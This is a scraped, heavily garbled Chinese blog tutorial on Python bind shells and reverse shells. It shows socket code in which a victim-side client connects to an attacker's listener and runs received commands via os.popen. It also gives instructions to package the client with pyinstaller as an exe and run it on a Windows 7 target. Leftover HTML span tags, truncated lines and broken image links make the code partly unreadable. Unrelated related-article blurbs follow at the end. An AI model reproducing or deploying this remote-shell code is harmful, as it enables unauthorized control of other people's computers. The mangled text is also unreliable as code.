python shell与反弹shell

 


 

=,1234)) i range(10=input( d=s.recv(1024) (d.decode(),len(d))

=socket.socket() 套接字 #s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) ,1234)) s.listen(5) 调用listen方法开始监听端口,传入的参数为等待连接的最大数量 con,addr=s.accept()

<span style="color: #0000ff;">for i <span style="color: #0000ff;">in range(10<span style="color: #000000;">):
cmd=con.recv(1024<span style="color: #000000;">)
<span style="color: #0000ff;">print<span style="color: #000000;">(cmd)
command=<span style="color: #000000;">cmd.decode()
<span style="color: #0000ff;">if command.startswith(<span style="color: #800000;">"<span style="color: #800000;">cd<span style="color: #800000;">"<span style="color: #000000;">):
os.chdir(command[2:].strip()) <span style="color: #008000;">#<span style="color: #008000;">切换路径
result=os.getcwd() <span style="color: #008000;">#<span style="color: #008000;">显示路径
<span style="color: #0000ff;">else<span style="color: #000000;">:
result=<span style="color: #000000;">os.popen(command).read()
<span style="color: #0000ff;">if<span style="color: #000000;"> result:
con.send(result.encode())
<span style="color: #0000ff;">else<span style="color: #000000;">:
con.send(b<span style="color: #800000;">"<span style="color: #800000;">OK!<span style="color: #800000;">")

文件,然后在win7运行打包好的exe文件,python打包成exe文件这里推荐pyinstaller模块(需要安装,安装方法不会的百度)

文件时最好打包成文件夹,如何打包成单个exe文件,在win7中运行可能会出题。下图就是打包的文件夹,双击运行图中exe文件

  

 

hacker==1234==<span style="color: #0000ff;">while 1<span style="color: #000000;">:
<span style="color: #008000;">#
<span style="color: #008000;"> 得到被攻击端的所在目录,并发送

dir=<span style="color: #000000;">os.getcwd()
<span style="color: #008000;">#
<span style="color: #008000;">print(dir)

<span style="color: #000000;"> s.send(dir.encode())
<span style="color: #008000;">#
<span style="color: #008000;"> 接收来自攻击端(服务器端)的命令,并进行处理

cmd=s.recv(1024<span style="color: #000000;">).decode()
<span style="color: #008000;">#
<span style="color: #008000;"> 对接收的命令做出判断

<span style="color: #008000;">#
<span style="color: #008000;"> 退出

<span style="color: #0000ff;">if
cmd==<span style="color: #800000;">"
<span style="color: #800000;">exit
<span style="color: #800000;">"
<span style="color: #000000;">:
<span style="color: #0000ff;">break

<span style="color: #0000ff;">elif
cmd.startswith(<span style="color: #800000;">"
<span style="color: #800000;">cd
<span style="color: #800000;">"
<span style="color: #000000;">):
os.chdir(cmd[
2<span style="color: #000000;">:].strip())
result
=<span style="color: #800000;">"
<span style="color: #800000;">切换目录成功!
<span style="color: #800000;">"

<span style="color: #0000ff;">else<span style="color: #000000;">:
result=<span style="color: #000000;">os.popen(cmd).read()
<span style="color: #0000ff;">if <span style="color: #0000ff;">not<span style="color: #000000;"> result:
result=<span style="color: #800000;">"<span style="color: #800000;">命令执行完毕!<span style="color: #800000;">"<span style="color: #000000;">

s.send(result.encode())
time.sleep(</span>1<span style="color: #000000;"&gt;)

s.close()
<span style="color: #0000ff;">print(<span style="color: #800000;">"<span style="color: #800000;">退出!<span style="color: #800000;">")

 

=(,1234=5=(addr, 1 dir=con.recv(1024=input(dir+ cmd===con.recv(653651(退出!)

文件夹,复制到win7中,然后双击运行

5023ed3fd67a02a9c520630557.jpg" alt="">

 

相关文章

在这篇文章中,我们深入学习了XPath作为一种常见的网络爬虫技巧。XPath是一种用于定位和选择XML文档中特...
祝福大家龙年快乐!愿你们的生活像龙一样充满力量和勇气,愿你们在新的一年里,追逐梦想,勇往直前,不...
今天在爬虫实战中,除了正常爬取网页数据外,我们还添加了一个下载功能,主要任务是爬取小说并将其下载...
完美收官,本文是爬虫实战的最后一章了,所以尽管本文着重呈现爬虫实战,但其中有一大部分内容专注于数...
JSON是一种流行的数据传输格式,Python中有多种处理JSON的方式。官方的json库是最常用的,它提供了简单...
独立样本T检验适用于比较两组独立样本的均值差异,而配对T检验则适用于比较同一组样本在不同条件下的均...